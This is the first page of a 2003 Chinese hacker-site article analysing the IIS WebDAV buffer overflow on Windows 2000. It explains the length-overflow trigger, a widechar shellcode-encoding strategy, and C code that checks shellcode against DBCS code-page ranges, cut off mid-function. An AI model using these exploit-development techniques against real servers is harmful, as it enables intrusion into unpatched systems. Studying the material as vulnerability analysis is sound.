|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| WebDav漏洞简单分析及通用exploit设计 | |||||
作者:eyas 文章来源:CnXHacker.Net 点击数: 更新时间:2003-5-18 ![]() |
|||||
|
拜读了isno写的<<WebDav远程溢出漏洞分析>>、<<通用的攻击WebDAV漏洞的方法>>,以及Nankia写的 <<Webdav漏洞ISNO方法的补充>>之后,用他们发布的exploit、以及能在网上找到的exploit在我的一些测试 机上测试,有些成功,有些不成功。于是便想自己调试一下。在后来的调试过程中,参考了大量资料,特别 是yuange所写的<<widechar的字符串缓冲溢出攻击技术>>。在这过程中我学到了很多东西,自己也有些心 得体会,其中可能有不少错误的地方,于是便想写下来,一来请各位高手多多指点,二来可以当做笔记供日 后参考(我记性不好:-))。 建议各位在阅读了以上提及的文章后再继续往下看。以下测试是在windows 2000 简体中文版本进行的。 -=-=-=- 第一部分 漏洞简单分析 -=-=-=- webdav溢出具体是怎么发生的我就不罗嗦了,请大家参考isno所写的文章,这里只简述一下。我们向 IIS发送如下数据: SEARCH /O HTTP/1.0 Host:xxx Content-Type: text/xml Content-length: 3 xxx IIS把我们请求的文件名转换成UNICODE,在前面加上路径,然后作为文件名参数传给了 GetFileAttributesExW(先加上路径再转换成UNICODE,还是转换成UNICODE再加路径,我没有仔细看,但这 并不重要)。假如IIS根目录是c:\inetpub\wwwroot,那么传递给GetFileAttributesExW的文件名就是 "\\?\c:\inetpub\wwwroot\O"的UNICODE形式,如下: 0197efe0 5c 00 5c 00 3f 00 5c 00-63 00 3a 00 5c 00 69 00 \.\.?.\.c.:.\.i. 0197eff0 6e 00 65 00 74 00 70 00-75 00 62 00 5c 00 77 00 n.e.t.p.u.b.\.w. 0197f000 77 00 77 00 72 00 6f 00-6f 00 74 00 5c 00 4f 00 w.w.r.o.o.t.\.O. 漏洞引用关系如下: GetFileAttributesExW |__RtlDosPathNameToNtPathName_U |__RtlInitUnicodeString <-buff超过65535就会导致短整型数溢出 |__在这后面的代码进行字符copy的时候就会触发堆栈溢出 我们来看看UNICODE_STRING结构的定义: typedef struct _UNICODE_STRING { USHORT Length; <--这长度指的是buffer的字节数,并不是unicode字符的个数 USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING *PUNICODE_STRING; 从上面的分析我们可以看到,事实上只要我们保证($FileName+$IIS_Path)*2 > 65535就可以触发 存储buff长度的短整型数溢出,其中$FileName是我们提交的文件名(非UNICODE形式)。 -=-=-=- 第二部分 关于widechar的字符串 -=-=-=- IIS在接收到我们发送的buff之后,会调用MultiByteToWideChar函数把我们的buff转换成widechar, 即UNICODE,用的CodePage是系统默认的CodePage,在简体中文系统上是936。在转换过程中,不符合 相应code page widechar范围的双字节字符会被替换掉,单字节字符会被转换成"\xXX\x00"的形式。 怎么判断字符是单字节字符还是双字节字符? 简体中文、繁体中文、韩文、日文都是双字节语言, 即double-byte character set (DBCS)。上述四种语言双字节中的第一个字节都大于等于0x80。所以 某个字符如果大于等于0x80的话,那么后面就还有一个字节的字符一起跟这个字符组成一个完整"字符"。 不信的话,可以写程序验证一下,调用一个API就可以了。 The IsDBCSLeadByteEx function determines whether a specified byte is a lead byte that is, the first byte of a character in a double-byte character set (DBCS). BOOL IsDBCSLeadByteEx( UINT CodePage, // identifier of code page BYTE TestChar // byte to test ); 假如我们发送的字符是"\x61\x81\x81"的话,用简体中文的CodePage经过MultiByteToWideChar函数 转换后就成了"\x61\x00\xXX\xXX",当然,前提是"\x81\x81"转换成Unicode后符合简体中文的wide char范围。所以我们要确定shellcode在经过MultiByteToWideChar转换后,符合相应code page的wide char范围。 反复拜读了yuange的文章<<widechar的字符串缓冲溢出攻击技术>>后,由衷佩服yuange技术之高! 向他致敬! yuange在他的文章中提出: (1)把real shellcode编码成可见字符,即小于0x80。这样在经过MultiByteToWideChar转换后就成为 "\xXX\x00",字符不会被改变。 (2)再精心编写一段符合相应code page widechar范围的代码,用这些代码来解码上述经过编码的 real shellcode。 yuange在那篇文章里面还提供了一段解码shellcode的代码,这些代码符合简体中文WideChar范围。 后来台湾网友Nankia说这些代码在繁体中文上面无法使用,然后Nankia自己又写了个符合繁体中文 widechar范围的解码代码。 后来我花了不少时间,在yuange发布的代码的基础上,修改了一些地方,写了一段符合简体中文、繁体 中文、韩文、日文 widechar范围的解码代码。以下是我测试这些解码代码是否符合相应widechar范围的 c代码。不知yuange和Nankia是怎么调试解码代码的?? -=-=-=-=-=-=-=-=-=-=-=-=-=-= CheckCode.c -=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-==-=-=-=-= #include <windows.h> #include <stdio.h> #define CODE_CN 936// ANSI/OEM - Simplified Chinese (PRC, Singapore) #define CODE_TW 950// ANSI/OEM - Traditional Chinese (Taiwan; Hong Kong SAR, PRC) #define CODE_JP 932// ANSI/OEM - Japanese, Shift-JIS #define CODE_Korean 949// ANSI/OEM - Korean (Unified Hangeul Code) int g_iCodePageList[]={936,950,932,949}; //如果为合法的wide char范围,则此byte值为1,否则为0 char *g_szWideCharShort; void checkcode(unsigned char *shellcode,int iLen); void printsc(unsigned char *sc, int len); BOOL MakeWideCharList(); void SaveToFile(); void shellcodefnlock(); #define FNENDLONG 0x08 void main() { char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90"; unsigned char temp; unsigned char *shellcodefnadd; unsigned char shellcode[512]; int len,k; /* 定位 shellcodefnlock的汇编代码 */ shellcodefnadd=shellcodefnlock; temp=*shellcodefnadd; if(temp==0xe9) { ++shellcodefnadd; k=*(int *)shellcodefnadd; shellcodefnadd+=k; shellcodefnadd+=4; } for(k=0;k<=0x500;++k) if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) break; /* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */ len = 2*wcslen(shellcodefnadd+k+8); memcpy(shellcode,shellcodefnadd+k+8,len); if(!MakeWideCharList()) return; //SaveToFile(); /*检测shellcode是否在合法的wide char范围*/ checkcode(shellcode, len); //printsc(shellcode, len); } BOOL MakeWideCharList() { unsigned char wbuff[4]; unsigned char wbuff2[4]; unsigned char buff[4]; int i,j,ret,k; g_szWideCharShort = (char *)malloc(65536); memset(g_szWideCharShort, 1 , 65536); for(k=0;k<sizeof(g_iCodePageList)/sizeof(int);k++)//for 1 { printf("UseCodePage=%d\n",g_iCodePageList[k]); for(i=0;i<256;i++)//for 2 { for(j=0;j<256;j++)//for 3 { if((i==0) && (j==0)) j=1; memset(buff, 0, 4); memset(wbuff2, 0, 4); wbuff[0]=(BYTE)i; wbuff[1]=(BYTE)j; wbuff[2]=(BYTE)'\0'; wbuff[3]=(BYTE)'\0'; if(!(ret = WideCharToMultiByte(g_iCodePageList[k], 0, (unsigned short *)wbuff, 1, buff, 2, 0,0))) { printf("WideCharToMulti [1] [2] [3] [4] [5] [6] [7] 下一页 |
|||||
| 文章录入:IceRiver 责任编辑:IceRiver | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 通过建立安全模型保障Web数据 US CERT:谷歌eBay雅虎网站均 webshell下分离大文件资料 经典Webshell提权集合九招 四成Facebook用户轻易泄露身 FaceBook源代码泄漏 机器数量庞大 Google成WEB服 Web2.0带来营销领域深刻变化 安全专家:Web 2.0站点的coo Web安全性问题的层次关系 |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |